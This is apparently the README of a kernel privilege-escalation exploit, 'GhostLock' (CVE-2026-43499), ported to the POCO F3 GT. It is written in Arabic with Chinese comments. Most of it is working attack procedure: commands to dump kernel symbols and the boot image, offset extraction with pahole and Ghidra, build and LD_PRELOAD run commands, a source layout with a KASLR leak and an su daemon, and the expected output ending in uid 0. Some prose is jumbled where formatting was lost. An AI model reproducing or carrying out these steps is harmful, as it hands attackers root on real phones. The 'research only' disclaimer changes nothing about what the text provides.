
استغلال GhostLock (CVE-2026-43499) لجهاز POCO F3 GT (aresin) — تصعيد صلاحيات نواة Linux 4.14.186 بمعمارية ARM64 من MediaTek Dimensity 1200 عبر التلاعب بسلسلة futex PI
استغلال كتابة فوقية لـ physmap يعتمد على البيانات فقط لمعالج MediaTek Dimensity 1200 (MT6893).
النواة: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.
| الشرط | الحالة | الوصف |
|---|---|---|
| نطاق إصدار النواة | ✅ | 4.14.186 يقع ضمن نطاق 2.6.39 ~ 7.0.4 |
| CONFIG_FUTEX_PI | ✅ | مفعّل (y) |
| CONFIG_RT_MUTEXES | ✅ | مفعّل (y) |
| البنية | ✅ | aarch64 |
| CONFIG_PREEMPT | ✅ | مفعّل (y) |
| CONFIG_RANDOMIZE_KSTACK | ❓ | يتطلب التأكيد (قد لا يكون مدعومًا في 4.14) |
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
إذا كان لديك صلاحية root (Magisk)، يمكن الاستخراج مباشرة من /proc/kallsyms:
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img
# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)
# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf
# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
vmlinux.elf باستخدام Ghidrart_mutex_waiter وtask_structاملأ جميع مواضع 0xTODO في target.h بالإزاحات المستخرجة.
جدول الإزاحات الرئيسية:
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
# 编译
make preload TARGET_HEADER=target.h
# 产物: build/bin/preload.so
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
بنية rt_mutex_waiter مختلفة:
plist_node بدلاً من rb_nodedeadline / ww_ctxتخطيط task_struct مختلف:
pi_blocked_on وpi_lock وغيرها في 4.14.x تختلف عن 6.1.xuclamp قد لا تكون موجودة في 4.14.xتطبيق KASLR مختلف:
الفروقات الأمنية بين Android 13 و14:
/proc/self/pagemap قد تكون مختلفةبعد تعبئة الإزاحات، يُنصح بالتحقق المتقاطع باستخدام Ghidra:
rt_mutex_waitertarget.hghostlock-aresin/
├── README.md # 本文件
├── Makefile # 编译脚本
├── target.h # 目标设备偏移定义 (需要填写)
├── src/ # 源码
│ ├── main.c # 主利用逻辑
│ ├── util.c # 工具函数
│ ├── slide.c # KASLR 泄漏
│ ├── fops.c # 文件操作
│ ├── pipe.c # pipe 相关
│ ├── preload.c # LD_PRELOAD 入口
│ ├── su_daemon.c # su 守护进程
│ ├── su_blob.S # su 二进制嵌入
│ ├── standalone.c # 独立运行
│ ├── common.h # 公共定义
│ └── offset.h # 偏移计算
├── tools/
│ └── extract_offsets.sh # 偏移提取脚本
└── build/
├── bin/ # 编译产物
└── embed/ # 嵌入文件
لأغراض البحث والتعليم فقط. استخدمه على مسؤوليتك الخاصة.
الـ PoC الأصلي: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/
مكيَّف لـ: POCO F3 GT (aresin) بواسطة ghostlock-aresin
| الحقل | الوصف | طريقة الاستخراج |
|---|
INIT_TASK | عنوان init_task | /proc/kallsyms أو Ghidra |
INIT_CRED | عنوان init_cred | /proc/kallsyms أو Ghidra |
WAITER_*_OFF | إزاحات حقول rt_mutex_waiter | pahole / Ghidra |
FAKE_TASK_*_OFF | إزاحات حقول task_struct | pahole / Ghidra |
TASK_CRED_OFF | إزاحة مؤشر cred | pahole / Ghidra |
| المرحلة | المخرجات | الوصف |
|---|
| التهيئة | [*] GhostLock - aresin (MT6893 D1200) 4.14.186 | تم التعرف على الجهاز بشكل صحيح |
| ربط CPU | [+] CPU0 pinned | تثبيت على CPU0 |
| تحميل العناوين | [*] init_task @ 0xffffffc00xxxxxxx | عنوان LM ثابت |
| فحص الصلاحيات | [+] uid: xxxxx | طباعة uid الحالي |
| انزياح KASLR | [+] slide = 0 أو slide = xxx | كشف KASLR |
| تشغيل رفع الصلاحيات | بعد النجاح يصبح uid 0 | الحصول على root |
| الفشل | [-] ... + إعادة تشغيل | kernel panic (الثغرة موجودة لكن الإزاحات تحتاج تعديل) |